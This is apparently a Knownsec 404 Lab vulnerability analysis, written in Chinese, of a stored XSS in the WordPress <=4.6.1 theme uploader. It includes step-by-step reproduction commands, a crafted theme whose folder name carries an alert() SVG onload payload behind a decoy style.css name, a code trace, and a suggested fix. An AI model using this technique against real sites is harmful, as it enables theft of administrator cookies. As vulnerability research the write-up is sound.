Author: p0wd3r (知道創宇404安全實驗室)

0x00 漏洞概述

1.漏洞簡介

WordPress是一個以PHP和MySQL為平臺的自由開源的博客軟件和內容管理系統,近日研究者發現在其<=4.6.1版本中,通過上傳惡意構造的主題文件可以觸發一個后臺存儲型XSS漏洞。通過該漏洞,攻擊者可以在能夠上傳主題文件的前提下執行獲取管理員Cookie等敏感操作。

2.漏洞影響

在能夠上傳主題文件的前提下執行獲取管理員Cookie等XSS可以進行的攻擊,實際的攻擊場景有以下兩種:

  • 攻擊者誘導管理員上傳惡意構造的主題文件,且管理員并沒有對文件進行檢查
  • 攻擊者擁有管理員權限可以直接上傳主題文件,但既然已經有管理員權限再進行這樣的攻擊也就多此一舉了

3.影響版本

<= 4.6.1

0x01 漏洞復現

1. 環境搭建

docker pull wordpress:4.6.1
docker pull mysql
docker run --name wp-mysql -e MYSQL_ROOT_PASSWORD=hellowp -e MYSQL_DATABASE=wp -d mysql
docker run --name wp --link wp-mysql:mysql -d wordpress

2.漏洞分析

我們先隨便下載一個主題:

wget https://downloads.wordpress.org/theme/illdy.1.0.29.zip
unzip -x illdy.1.0.29.zip

然后對illdy/style.css進行如下更改:

/*
Theme Name: <svg onload=alert(1234)>
... DO NOT CHANGES HERE ...
*/

接著更改文件夾名字再打包:

mv illdy "<svg onload=alert(5678)>"
zip -r theme.zip "<svg onload=alert(5678)>"

構造好之后我們登錄后臺上傳該主題文件,同時開始動態調試。

首先進入wp-admin/includes/class-theme-installer-skin.php中第55-82行:

$name = $theme_info->display('Name');
...

if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
    $install_actions['preview'] = '<a href="' . wp_customize_url( $stylesheet ) . '" class="hide-if-no-customize load-customize"><span aria-hidden="true">' . __( 'Live Preview' ) . '</span><span class="screen-reader-text">' . sprintf( __( 'Live Preview &#8220;%s&#8221;' ), $name ) . '</span></a>';
}
$install_actions['activate'] = '<a href="' . esc_url( $activate_link ) . '" class="activatelink"><span aria-hidden="true">' . __( 'Activate' ) . '</span><span class="screen-reader-text">' . sprintf( __( 'Activate &#8220;%s&#8221;' ), $name ) . '</span></a>';

其中$theme_info的值如下:

Alt text

其中stylesheettemplate的值為我們更改的文件夾名,headers.Name為更改的style.css中的Name$theme_info中有我們可控的payload,其調用display函數后賦值給$name$name直接與html拼接,所以關鍵點在display函數上,動態調試跟進到wp-includes/class-wp-theme.php中第630-646行:

public function display( $header, $markup = true, $translate = true ) {
    $value = $this->get( $header );
    if ( false === $value ) {
        return false;
    }

    if ( $translate && ( empty( $value ) || ! $this->load_textdomain() ) )
        $translate = false;

    if ( $translate )
        $value = $this->translate_header( $header, $value );

    if ( $markup )
        $value = $this->markup_header( $header, $value, $translate );

    return $value;
}

由之前的調用可知,這里的$header的值為Name。首先看$this-get($header),在wp-includes/class-wp-theme.php中第594-617行:

public function get( $header ) {
        ...
            $this->headers_sanitized[ $header ] = $this->sanitize_header( $header, $this->headers[ $header ] );
        ...
        return $this->headers_sanitized[ $header ];
    }

這里省略了與漏洞無關的部分,程序進入了$this->sanitize_header,在wp-includes/class-wp-theme.php第661-705行:

private function sanitize_header( $header, $value ) {
    switch ( $header ) {
        ...
        case 'Name' :
            static $header_tags = array(
                'abbr'    => array( 'title' => true ),
                'acronym' => array( 'title' => true ),
                'code'    => true,
                'em'      => true,
                'strong'  => true,
            );
            $value = wp_kses( $value, $header_tags );
            break;
        ...
}

這里執行了Name這個分支,可以看到程序使用wp_kses$value的值進行了過濾,僅允許$header_tags中的html符號,所以我們headers.Name的值<svg onload=alert(1234)>是不合法的,$value值被賦為空。

然后程序回到了display函數,根據動態調試可以知道程序執行了$value = $this->markup_header( $header, $value, $translate );這個條件分支,再跟進,在wp-includes/class-wp-theme.php中第720-748行:

private function markup_header( $header, $value, $translate ) {
    switch ( $header ) {
        case 'Name' :
            if ( empty( $value ) )
                $value = $this->get_stylesheet();
            break;
        ...
    return $value;
}

這里我們看到由于$value在之前被賦為空,導致此處$value被重新賦值為了$this->get_stylesheet(),也就是值為<svg onload=alert(5678)>stylesheet變量。最后返回的$value賦給了$name$name再與html拼接返回給客戶端,從而觸發了漏洞:

Alt text

Alt text

這個漏洞有趣的地方在于style.css中的payload其實起到的是一個障眼法的作用,正是因為<svg onload=alert(1234)>被過濾了才使$value被賦值成了我們真正的payload<svg onload=alert(5678)>。所以在構造主題文件的時候style.css和文件夾名這兩個地方都要更改。

3.補丁分析

可能是由于利用條件十分苛刻,目前Wordpress官方還沒有發布補丁,最新版Wordpress仍存在該漏洞。

0x02 修復方案

在官方發布補丁前,管理員應提高安全意識,不要輕易使用來路不明的主題。

對于開發者來說建議對$name進行合法性檢查,例如這樣:

$allowed_html = array(
    'em'      => true,
    'strong'  => true,
);
$name = wp_kses($name, $allowed_html);

0x03 參考


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/62/